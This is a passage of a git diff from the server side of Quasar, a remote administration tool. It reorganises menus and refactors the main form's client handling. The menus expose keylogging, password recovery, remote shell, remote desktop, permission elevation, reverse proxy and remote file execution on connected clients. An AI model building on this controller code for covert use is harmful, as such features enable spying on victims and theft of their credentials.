//
this.surveillanceToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
- this.remoteDesktopToolStripMenuItem,
this.passwordRecoveryToolStripMenuItem,
- this.keyloggerToolStripMenuItem});
- this.surveillanceToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("surveillanceToolStripMenuItem.Image")));
+ this.keyloggerToolStripMenuItem,
+ this.remoteDesktopToolStripMenuItem2});
+ this.surveillanceToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.monitoring;
this.surveillanceToolStripMenuItem.Name = "surveillanceToolStripMenuItem";
- this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
- this.surveillanceToolStripMenuItem.Text = "Surveillance";
- //
- // remoteDesktopToolStripMenuItem
- //
- this.remoteDesktopToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem.Image")));
- this.remoteDesktopToolStripMenuItem.Name = "remoteDesktopToolStripMenuItem";
- this.remoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(175, 22);
- this.remoteDesktopToolStripMenuItem.Text = "Remote Desktop";
- this.remoteDesktopToolStripMenuItem.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click);
+ this.surveillanceToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
+ this.surveillanceToolStripMenuItem.Text = "Monitoring";
//
// passwordRecoveryToolStripMenuItem
//
this.passwordRecoveryToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("passwordRecoveryToolStripMenuItem.Image")));
this.passwordRecoveryToolStripMenuItem.Name = "passwordRecoveryToolStripMenuItem";
- this.passwordRecoveryToolStripMenuItem.Size = new System.Drawing.Size(175, 22);
+ this.passwordRecoveryToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.passwordRecoveryToolStripMenuItem.Text = "Password Recovery";
this.passwordRecoveryToolStripMenuItem.Click += new System.EventHandler(this.passwordRecoveryToolStripMenuItem_Click);
//
// keyloggerToolStripMenuItem
//
- this.keyloggerToolStripMenuItem.Image = global::xServer.Properties.Resources.logger;
+ this.keyloggerToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.keyboard_magnify;
this.keyloggerToolStripMenuItem.Name = "keyloggerToolStripMenuItem";
- this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(175, 22);
+ this.keyloggerToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.keyloggerToolStripMenuItem.Text = "Keylogger";
this.keyloggerToolStripMenuItem.Click += new System.EventHandler(this.keyloggerToolStripMenuItem_Click);
//
- // miscellaneousToolStripMenuItem
+ // remoteDesktopToolStripMenuItem2
//
- this.miscellaneousToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
- this.remoteExecuteToolStripMenuItem,
- this.visitWebsiteToolStripMenuItem,
- this.showMessageboxToolStripMenuItem});
- this.miscellaneousToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("miscellaneousToolStripMenuItem.Image")));
- this.miscellaneousToolStripMenuItem.Name = "miscellaneousToolStripMenuItem";
- this.miscellaneousToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
- this.miscellaneousToolStripMenuItem.Text = "Miscellaneous";
+ this.remoteDesktopToolStripMenuItem2.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem2.Image")));
+ this.remoteDesktopToolStripMenuItem2.Name = "remoteDesktopToolStripMenuItem2";
+ this.remoteDesktopToolStripMenuItem2.Size = new System.Drawing.Size(180, 22);
+ this.remoteDesktopToolStripMenuItem2.Text = "Remote Desktop";
+ this.remoteDesktopToolStripMenuItem2.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click);
//
- // remoteExecuteToolStripMenuItem
+ // userSupportToolStripMenuItem
//
- this.remoteExecuteToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
- this.localFileToolStripMenuItem,
- this.webFileToolStripMenuItem});
- this.remoteExecuteToolStripMenuItem.Image = global::xServer.Properties.Resources.lightning;
- this.remoteExecuteToolStripMenuItem.Name = "remoteExecuteToolStripMenuItem";
- this.remoteExecuteToolStripMenuItem.Size = new System.Drawing.Size(171, 22);
- this.remoteExecuteToolStripMenuItem.Text = "Remote Execute";
+ this.userSupportToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.showMessageboxToolStripMenuItem,
+ this.remoteDesktopToolStripMenuItem,
+ this.visitWebsiteToolStripMenuItem});
+ this.userSupportToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.user;
+ this.userSupportToolStripMenuItem.Name = "userSupportToolStripMenuItem";
+ this.userSupportToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
+ this.userSupportToolStripMenuItem.Text = "User Support";
//
- // localFileToolStripMenuItem
+ // showMessageboxToolStripMenuItem
//
- this.localFileToolStripMenuItem.Image = global::xServer.Properties.Resources.drive_go;
- this.localFileToolStripMenuItem.Name = "localFileToolStripMenuItem";
- this.localFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22);
- this.localFileToolStripMenuItem.Text = "Local File...";
- this.localFileToolStripMenuItem.Click += new System.EventHandler(this.localFileToolStripMenuItem_Click);
+ this.showMessageboxToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("showMessageboxToolStripMenuItem.Image")));
+ this.showMessageboxToolStripMenuItem.Name = "showMessageboxToolStripMenuItem";
+ this.showMessageboxToolStripMenuItem.Size = new System.Drawing.Size(171, 22);
+ this.showMessageboxToolStripMenuItem.Text = "Show Messagebox";
+ this.showMessageboxToolStripMenuItem.Click += new System.EventHandler(this.showMessageboxToolStripMenuItem_Click);
//
- // webFileToolStripMenuItem
+ // remoteDesktopToolStripMenuItem
//
- this.webFileToolStripMenuItem.Image = global::xServer.Properties.Resources.world_go;
- this.webFileToolStripMenuItem.Name = "webFileToolStripMenuItem";
- this.webFileToolStripMenuItem.Size = new System.Drawing.Size(132, 22);
- this.webFileToolStripMenuItem.Text = "Web File...";
- this.webFileToolStripMenuItem.Click += new System.EventHandler(this.webFileToolStripMenuItem_Click);
+ this.remoteDesktopToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("remoteDesktopToolStripMenuItem.Image")));
+ this.remoteDesktopToolStripMenuItem.Name = "remoteDesktopToolStripMenuItem";
+ this.remoteDesktopToolStripMenuItem.Size = new System.Drawing.Size(171, 22);
+ this.remoteDesktopToolStripMenuItem.Text = "Remote Desktop";
+ this.remoteDesktopToolStripMenuItem.Click += new System.EventHandler(this.remoteDesktopToolStripMenuItem_Click);
//
// visitWebsiteToolStripMenuItem
//
this.visitWebsiteToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("visitWebsiteToolStripMenuItem.Image")));
this.visitWebsiteToolStripMenuItem.Name = "visitWebsiteToolStripMenuItem";
this.visitWebsiteToolStripMenuItem.Size = new System.Drawing.Size(171, 22);
- this.visitWebsiteToolStripMenuItem.Text = "Visit Website";
+ this.visitWebsiteToolStripMenuItem.Text = "Send to Website";
this.visitWebsiteToolStripMenuItem.Click += new System.EventHandler(this.visitWebsiteToolStripMenuItem_Click);
//
- // showMessageboxToolStripMenuItem
+ // connectionToolStripMenuItem
//
- this.showMessageboxToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("showMessageboxToolStripMenuItem.Image")));
- this.showMessageboxToolStripMenuItem.Name = "showMessageboxToolStripMenuItem";
- this.showMessageboxToolStripMenuItem.Size = new System.Drawing.Size(171, 22);
- this.showMessageboxToolStripMenuItem.Text = "Show Messagebox";
- this.showMessageboxToolStripMenuItem.Click += new System.EventHandler(this.showMessageboxToolStripMenuItem_Click);
+ this.connectionToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
+ this.elevateClientPermissionsToolStripMenuItem,
+ this.updateToolStripMenuItem,
+ this.reconnectToolStripMenuItem,
+ this.disconnectToolStripMenuItem,
+ this.uninstallToolStripMenuItem});
+ this.connectionToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("connectionToolStripMenuItem.Image")));
+ this.connectionToolStripMenuItem.Name = "connectionToolStripMenuItem";
+ this.connectionToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
+ this.connectionToolStripMenuItem.Text = "Client Management";
+ //
+ // elevateClientPermissionsToolStripMenuItem
+ //
+ this.elevateClientPermissionsToolStripMenuItem.Image = global::Quasar.Server.Properties.Resources.uac_shield;
+ this.elevateClientPermissionsToolStripMenuItem.Name = "elevateClientPermissionsToolStripMenuItem";
+ this.elevateClientPermissionsToolStripMenuItem.Size = new System.Drawing.Size(211, 22);
+ this.elevateClientPermissionsToolStripMenuItem.Text = "Elevate Client Permissions";
+ this.elevateClientPermissionsToolStripMenuItem.Click += new System.EventHandler(this.elevateClientPermissionsToolStripMenuItem_Click);
+ //
+ // updateToolStripMenuItem
+ //
+ this.updateToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("updateToolStripMenuItem.Image")));
+ this.updateToolStripMenuItem.Name = "updateToolStripMenuItem";
+ this.updateToolStripMenuItem.Size = new System.Drawing.Size(211, 22);
+ this.updateToolStripMenuItem.Text = "Update";
+ this.updateToolStripMenuItem.Click += new System.EventHandler(this.updateToolStripMenuItem_Click);
+ //
+ // reconnectToolStripMenuItem
+ //
+ this.reconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("reconnectToolStripMenuItem.Image")));
+ this.reconnectToolStripMenuItem.Name = "reconnectToolStripMenuItem";
+ this.reconnectToolStripMenuItem.Size = new System.Drawing.Size(211, 22);
+ this.reconnectToolStripMenuItem.Text = "Reconnect";
+ this.reconnectToolStripMenuItem.Click += new System.EventHandler(this.reconnectToolStripMenuItem_Click);
+ //
+ // disconnectToolStripMenuItem
+ //
+ this.disconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("disconnectToolStripMenuItem.Image")));
+ this.disconnectToolStripMenuItem.Name = "disconnectToolStripMenuItem";
+ this.disconnectToolStripMenuItem.Size = new System.Drawing.Size(211, 22);
+ this.disconnectToolStripMenuItem.Text = "Disconnect";
+ this.disconnectToolStripMenuItem.Click += new System.EventHandler(this.disconnectToolStripMenuItem_Click);
+ //
+ // uninstallToolStripMenuItem
+ //
+ this.uninstallToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("uninstallToolStripMenuItem.Image")));
+ this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem";
+ this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(211, 22);
+ this.uninstallToolStripMenuItem.Text = "Uninstall";
+ this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.uninstallToolStripMenuItem_Click);
//
// lineToolStripMenuItem
//
this.lineToolStripMenuItem.Name = "lineToolStripMenuItem";
- this.lineToolStripMenuItem.Size = new System.Drawing.Size(149, 6);
+ this.lineToolStripMenuItem.Size = new System.Drawing.Size(177, 6);
//
// selectAllToolStripMenuItem
//
this.selectAllToolStripMenuItem.Name = "selectAllToolStripMenuItem";
- this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(152, 22);
+ this.selectAllToolStripMenuItem.Size = new System.Drawing.Size(180, 22);
this.selectAllToolStripMenuItem.Text = "Select All";
this.selectAllToolStripMenuItem.Click += new System.EventHandler(this.selectAllToolStripMenuItem_Click);
//
@@ -641,6 +670,7 @@ private void InitializeComponent()
// statusStrip
//
this.statusStrip.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.statusStrip.ImageScalingSize = new System.Drawing.Size(24, 24);
this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.listenToolStripStatusLabel});
this.statusStrip.Location = new System.Drawing.Point(0, 436);
@@ -729,6 +759,7 @@ private void InitializeComponent()
//
this.menuStrip.Dock = System.Windows.Forms.DockStyle.None;
this.menuStrip.Font = new System.Drawing.Font("Segoe UI", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
+ this.menuStrip.ImageScalingSize = new System.Drawing.Size(24, 24);
this.menuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.fIleToolStripMenuItem,
this.settingsToolStripMenuItem,
@@ -778,8 +809,8 @@ private void InitializeComponent()
//
// FrmMain
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.ClientSize = new System.Drawing.Size(1022, 458);
this.Controls.Add(this.tableLayoutPanel);
this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
@@ -824,10 +855,7 @@ private void InitializeComponent()
private System.Windows.Forms.ColumnHeader hAccountType;
private System.Windows.Forms.ToolStripMenuItem systemInformationToolStripMenuItem;
private System.Windows.Forms.ColumnHeader hUserStatus;
- private System.Windows.Forms.ToolStripMenuItem miscellaneousToolStripMenuItem;
- private System.Windows.Forms.ToolStripMenuItem visitWebsiteToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem passwordRecoveryToolStripMenuItem;
- private System.Windows.Forms.ToolStripMenuItem showMessageboxToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem updateToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem remoteShellToolStripMenuItem;
private System.Windows.Forms.ToolStripSeparator ctxtLine;
@@ -836,9 +864,6 @@ private void InitializeComponent()
private System.Windows.Forms.ToolStripMenuItem restartToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem standbyToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem startupManagerToolStripMenuItem;
- private System.Windows.Forms.ToolStripMenuItem remoteExecuteToolStripMenuItem;
- private System.Windows.Forms.ToolStripMenuItem localFileToolStripMenuItem;
- private System.Windows.Forms.ToolStripMenuItem webFileToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem keyloggerToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem reverseProxyToolStripMenuItem;
private System.Windows.Forms.ToolStripMenuItem registryEditorToolStripMenuItem;
@@ -856,6 +881,15 @@ private void InitializeComponent()
private System.Windows.Forms.ToolStripMenuItem aboutToolStripMenuItem;
private System.Windows.Forms.StatusStrip statusStrip;
private System.Windows.Forms.ToolStripStatusLabel listenToolStripStatusLabel;
+ private System.Windows.Forms.ToolStripMenuItem connectionsToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem userSupportToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem showMessageboxToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem visitWebsiteToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem remoteExecuteToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem localFileToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem webFileToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem elevateClientPermissionsToolStripMenuItem;
+ private System.Windows.Forms.ToolStripMenuItem remoteDesktopToolStripMenuItem2;
}
}
diff --git a/Server/Forms/FrmMain.cs b/Quasar.Server/Forms/FrmMain.cs
similarity index 60%
rename from Server/Forms/FrmMain.cs
rename to Quasar.Server/Forms/FrmMain.cs
index e9225138b..9ef074353 100644
--- a/Server/Forms/FrmMain.cs
+++ b/Quasar.Server/Forms/FrmMain.cs
@@ -1,56 +1,60 @@
-using System;
+using Quasar.Common.Enums;
+using Quasar.Common.Messages;
+using Quasar.Server.Extensions;
+using Quasar.Server.Messages;
+using Quasar.Server.Models;
+using Quasar.Server.Networking;
+using Quasar.Server.Utilities;
+using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
+using System.Net.Sockets;
+using System.Security.Cryptography.X509Certificates;
using System.Threading;
using System.Windows.Forms;
-using xServer.Core.Commands;
-using xServer.Core.Cryptography;
-using xServer.Core.Data;
-using xServer.Core.Extensions;
-using xServer.Enums;
-using xServer.Core.Helper;
-using xServer.Core.Networking;
-using xServer.Core.Networking.Utilities;
-using xServer.Core.Utilities;
-
-namespace xServer.Forms
+
+namespace Quasar.Server.Forms
{
public partial class FrmMain : Form
{
public QuasarServer ListenServer { get; set; }
- public static FrmMain Instance { get; private set; }
private const int STATUS_ID = 4;
private const int USERSTATUS_ID = 5;
private bool _titleUpdateRunning;
private bool _processingClientConnections;
+ private readonly ClientStatusHandler _clientStatusHandler;
private readonly Queue> _clientConnections = new Queue>();
private readonly object _processingClientConnectionsLock = new object();
private readonly object _lockClients = new object(); // lock for clients-listview
- private void ShowTermsOfService()
+ public FrmMain()
{
- using (var frm = new FrmTermsOfUse())
- {
- frm.ShowDialog();
- }
- Thread.Sleep(300);
+ _clientStatusHandler = new ClientStatusHandler();
+ RegisterMessageHandler();
+ InitializeComponent();
}
- public FrmMain()
+ ///
+ /// Registers the client status message handler for client communication.
+ ///
+ private void RegisterMessageHandler()
{
- Instance = this;
-
- AES.SetDefaultKey(Settings.Password);
-
-#if !DEBUG
- if (Settings.ShowToU)
- ShowTermsOfService();
-#endif
+ MessageHandler.Register(_clientStatusHandler);
+ _clientStatusHandler.StatusUpdated += SetStatusByClient;
+ _clientStatusHandler.UserStatusUpdated += SetUserStatusByClient;
+ }
- InitializeComponent();
+ ///
+ /// Unregisters the client status message handler.
+ ///
+ private void UnregisterMessageHandler()
+ {
+ MessageHandler.Unregister(_clientStatusHandler);
+ _clientStatusHandler.StatusUpdated -= SetStatusByClient;
+ _clientStatusHandler.UserStatusUpdated -= SetUserStatusByClient;
}
public void UpdateWindowTitle()
@@ -76,28 +80,67 @@ public void UpdateWindowTitle()
private void InitializeServer()
{
- ListenServer = new QuasarServer();
+ X509Certificate2 serverCertificate;
+#if DEBUG
+ serverCertificate = new DummyCertificate();
+#else
+ if (!File.Exists(Settings.CertificatePath))
+ {
+ using (var certificateSelection = new FrmCertificate())
+ {
+ while (certificateSelection.ShowDialog() != DialogResult.OK)
+ { }
+ }
+ }
+ serverCertificate = new X509Certificate2(Settings.CertificatePath);
+#endif
+ /*var str = Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert));
+
+ var cert2 = new X509Certificate2(Convert.FromBase64String(str));
+ var serverCsp = (RSACryptoServiceProvider)serverCertificate.PublicKey.Key;
+ var connectedCsp = (RSACryptoServiceProvider)new X509Certificate2(cert2).PublicKey.Key;
+ var result = serverCsp.ExportParameters(false);
+ var result2 = connectedCsp.ExportParameters(false);
+
+ var b = SafeComparison.AreEqual(result.Exponent, result2.Exponent) &&
+ SafeComparison.AreEqual(result.Modulus, result2.Modulus);*/
+
+ ListenServer = new QuasarServer(serverCertificate);
ListenServer.ServerState += ServerState;
ListenServer.ClientConnected += ClientConnected;
ListenServer.ClientDisconnected += ClientDisconnected;
}
- private void AutostartListening()
+ private void StartConnectionListener()
{
- if (Settings.AutoListen && Settings.UseUPnP)
+ try
+ {
+ ListenServer.Listen(Settings.ListenPort, Settings.IPv6Support, Settings.UseUPnP);
+ }
+ catch (SocketException ex)
{
- UPnP.Initialize(Settings.ListenPort);
- ListenServer.Listen(Settings.ListenPort);
+ if (ex.ErrorCode == 10048)
+ {
+ MessageBox.Show(this, "The port is already in use.", "Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ }
+ else
+ {
+ MessageBox.Show(this, $"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}\n\n", "Unexpected Socket Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ }
+ ListenServer.Disconnect();
}
- else if (Settings.AutoListen)
+ catch (Exception)
{
- UPnP.Initialize();
- ListenServer.Listen(Settings.ListenPort);
+ ListenServer.Disconnect();
}
- else
+ }
+
+ private void AutostartListening()
+ {
+ if (Settings.AutoListen)
{
- UPnP.Initialize();
+ StartConnectionListener();
}
if (Settings.EnableNoIPUpdater)
@@ -115,10 +158,9 @@ private void FrmMain_Load(object sender, EventArgs e)
private void FrmMain_FormClosing(object sender, FormClosingEventArgs e)
{
ListenServer.Disconnect();
- UPnP.DeletePortMap(Settings.ListenPort);
+ UnregisterMessageHandler();
notifyIcon.Visible = false;
notifyIcon.Dispose();
- Instance = null;
}
private void lstClients_SelectedIndexChanged(object sender, EventArgs e)
@@ -126,7 +168,7 @@ private void lstClients_SelectedIndexChanged(object sender, EventArgs e)
UpdateWindowTitle();
}
- private void ServerState(Server server, bool listening, ushort port)
+ private void ServerState(Networking.Server server, bool listening, ushort port)
{
try
{
@@ -304,51 +346,32 @@ private void RemoveClientFromListview(Client client)
{
}
}
-
+
///
/// Sets the status of a client.
///
+ /// The message handler which raised the event.
/// The client to update the status of.
/// The new status.
- public void SetStatusByClient(Client client, string text)
+ private void SetStatusByClient(object sender, Client client, string text)
{
- if (client == null) return;
-
- try
- {
- lstClients.Invoke((MethodInvoker) delegate
- {
- var item = GetListViewItemByClient(client);
- if (item != null)
- item.SubItems[STATUS_ID].Text = text;
- });
- }
- catch (InvalidOperationException)
- {
- }
+ var item = GetListViewItemByClient(client);
+ if (item != null)
+ item.SubItems[STATUS_ID].Text = text;
}
///
/// Sets the user status of a client.
///
+ /// The message handler which raised the event.
/// The client to update the user status of.
/// The new user status.
- public void SetUserStatusByClient(Client client, UserStatus userStatus)
+ private void SetUserStatusByClient(object sender, Client client, UserStatus userStatus)
{
- if (client == null) return;
+ var item = GetListViewItemByClient(client);
+ if (item != null)
+ item.SubItems[USERSTATUS_ID].Text = userStatus.ToString();
- try
- {
- lstClients.Invoke((MethodInvoker) delegate
- {
- var item = GetListViewItemByClient(client);
- if (item != null)
- item.SubItems[USERSTATUS_ID].Text = userStatus.ToString();
- });
- }
- catch (InvalidOperationException)
- {
- }
}
///
@@ -415,7 +438,7 @@ private void ShowPopup(Client c)
{
if (c == null || c.Value == null) return;
- notifyIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country),
+ notifyIcon.ShowBalloonTip(4000, string.Format("Client connected from {0}!", c.Value.Country),
string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(),
c.Value.OperatingSystem), ToolTipIcon.Info);
});
@@ -427,64 +450,23 @@ private void ShowPopup(Client c)
#region "ContextMenuStrip"
- #region "Connection"
+ #region "Client Management"
+
+ private void elevateClientPermissionsToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ foreach (Client c in GetSelectedClients())
+ {
+ c.Send(new DoAskElevate());
+ }
+ }
private void updateToolStripMenuItem_Click(object sender, EventArgs e)
{
- if (lstClients.SelectedItems.Count != 0)
+ Client[] clients = GetSelectedClients();
+ if (clients.Length > 0)
{
- using (var frm = new FrmUpdate(lstClients.SelectedItems.Count))
- {
- if (frm.ShowDialog() == DialogResult.OK)
- {
- if (Core.Data.Update.UseDownload)
- {
- foreach (Client c in GetSelectedClients())
- {
- new Core.Packets.ServerPackets.DoClientUpdate(0, Core.Data.Update.DownloadURL, string.Empty, new byte[0x00], 0, 0).Execute(c);
- }
- }
- else
- {
- new Thread(() =>
- {
- bool error = false;
- foreach (Client c in GetSelectedClients())
- {
- if (c == null) continue;
- if (error) continue;
-
- FileSplit srcFile = new FileSplit(Core.Data.Update.UploadPath);
- if (srcFile.MaxBlocks < 0)
- {
- MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
- "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
- error = true;
- break;
- }
-
- int id = FileHelper.GetNewTransferId();
-
- CommandHandler.HandleSetStatus(c,
- new Core.Packets.ClientPackets.SetStatus("Uploading file..."));
-
- for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++)
- {
- byte[] block;
- if (!srcFile.ReadBlock(currentBlock, out block))
- {
- MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError),
- "Update aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning);
- error = true;
- break;
- }
- new Core.Packets.ServerPackets.DoClientUpdate(id, string.Empty, string.Empty, block, srcFile.MaxBlocks, currentBlock).Execute(c);
- }
- }
- }).Start();
- }
- }
- }
+ FrmRemoteExecution frmRe = new FrmRemoteExecution(clients);
+ frmRe.Show();
}
}
@@ -492,7 +474,7 @@ private void reconnectToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- new Core.Packets.ServerPackets.DoClientReconnect().Execute(c);
+ c.Send(new DoClientReconnect());
}
}
@@ -500,7 +482,7 @@ private void disconnectToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- new Core.Packets.ServerPackets.DoClientDisconnect().Execute(c);
+ c.Send(new DoClientDisconnect());
}
}
@@ -510,32 +492,28 @@ private void uninstallToolStripMenuItem_Click(object sender, EventArgs e)
if (
MessageBox.Show(
string.Format(
- "Are you sure you want to uninstall the client on {0} computer\\s?\nThe clients won't come back!",
+ "Are you sure you want to uninstall the client on {0} computer\\s?",
lstClients.SelectedItems.Count), "Uninstall Confirmation", MessageBoxButtons.YesNo,
MessageBoxIcon.Question) == DialogResult.Yes)
{
foreach (Client c in GetSelectedClients())
{
- new Core.Packets.ServerPackets.DoClientUninstall().Execute(c);
+ c.Send(new DoClientUninstall());
}
}
}
#endregion
- #region "System"
+ #region "Administration"
private void systemInformationToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- if (c.Value.FrmSi != null)
- {
- c.Value.FrmSi.Focus();
- return;
- }
- FrmSystemInformation frmSI = new FrmSystemInformation(c);
- frmSI.Show();
+ FrmSystemInformation frmSi = FrmSystemInformation.CreateNewOrGetExisting(c);
+ frmSi.Show();
+ frmSi.Focus();
}
}
@@ -543,13 +521,9 @@ private void fileManagerToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- if (c.Value.FrmFm != null)
- {
- c.Value.FrmFm.Focus();
- return;
- }
- FrmFileManager frmFM = new FrmFileManager(c);
- frmFM.Show();
+ FrmFileManager frmFm = FrmFileManager.CreateNewOrGetExisting(c);
+ frmFm.Show();
+ frmFm.Focus();
}
}
@@ -557,13 +531,9 @@ private void startupManagerToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- if (c.Value.FrmStm != null)
- {
- c.Value.FrmStm.Focus();
- return;
- }
- FrmStartupManager frmStm = new FrmStartupManager(c);
+ FrmStartupManager frmStm = FrmStartupManager.CreateNewOrGetExisting(c);
frmStm.Show();
+ frmStm.Focus();
}
}
@@ -571,13 +541,9 @@ private void taskManagerToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- if (c.Value.FrmTm != null)
- {
- c.Value.FrmTm.Focus();
- return;
- }
- FrmTaskManager frmTM = new FrmTaskManager(c);
- frmTM.Show();
+ FrmTaskManager frmTm = FrmTaskManager.CreateNewOrGetExisting(c);
+ frmTm.Show();
+ frmTm.Focus();
}
}
@@ -585,28 +551,29 @@ private void remoteShellToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- if (c.Value.FrmRs != null)
- {
- c.Value.FrmRs.Focus();
- return;
- }
- FrmRemoteShell frmRS = new FrmRemoteShell(c);
- frmRS.Show();
+ FrmRemoteShell frmRs = FrmRemoteShell.CreateNewOrGetExisting(c);
+ frmRs.Show();
+ frmRs.Focus();
}
}
- private void reverseProxyToolStripMenuItem_Click(object sender, EventArgs e)
+ private void connectionsToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- if (c.Value.FrmProxy != null)
- {
- c.Value.FrmProxy.Focus();
- return;
- }
+ FrmConnections frmCon = FrmConnections.CreateNewOrGetExisting(c);
+ frmCon.Show();
+ frmCon.Focus();
+ }
+ }
- FrmReverseProxy frmRS = new FrmReverseProxy(GetSelectedClients());
- frmRS.Show();
+ private void reverseProxyToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ Client[] clients = GetSelectedClients();
+ if (clients.Length > 0)
+ {
+ FrmReverseProxy frmRs = new FrmReverseProxy(clients);
+ frmRs.Show();
}
}
@@ -616,23 +583,38 @@ private void registryEditorToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- if (c.Value.FrmRe != null)
- {
- c.Value.FrmRe.Focus();
- return;
- }
-
- FrmRegistryEditor frmRE = new FrmRegistryEditor(c);
- frmRE.Show();
+ FrmRegistryEditor frmRe = FrmRegistryEditor.CreateNewOrGetExisting(c);
+ frmRe.Show();
+ frmRe.Focus();
}
}
}
+ private void localFileToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ Client[] clients = GetSelectedClients();
+ if (clients.Length > 0)
+ {
+ FrmRemoteExecution frmRe = new FrmRemoteExecution(clients);
+ frmRe.Show();
+ }
+ }
+
+ private void webFileToolStripMenuItem_Click(object sender, EventArgs e)
+ {
+ Client[] clients = GetSelectedClients();
+ if (clients.Length > 0)
+ {
+ FrmRemoteExecution frmRe = new FrmRemoteExecution(clients);
+ frmRe.Show();
+ }
+ }
+
private void shutdownToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- new Core.Packets.ServerPackets.DoShutdownAction(ShutdownAction.Shutdown).Execute(c);
+ c.Send(new DoShutdownAction {Action = ShutdownAction.Shutdown});
}
}
@@ -640,7 +622,7 @@ private void restartToolStripMenuItem_Click(object sender, EventArgs e)
{
foreach (Client c in GetSelectedClients())
{
- new Core.Packets.ServerPackets.DoShutdownAction(ShutdownAction.Restart).Execute(c);
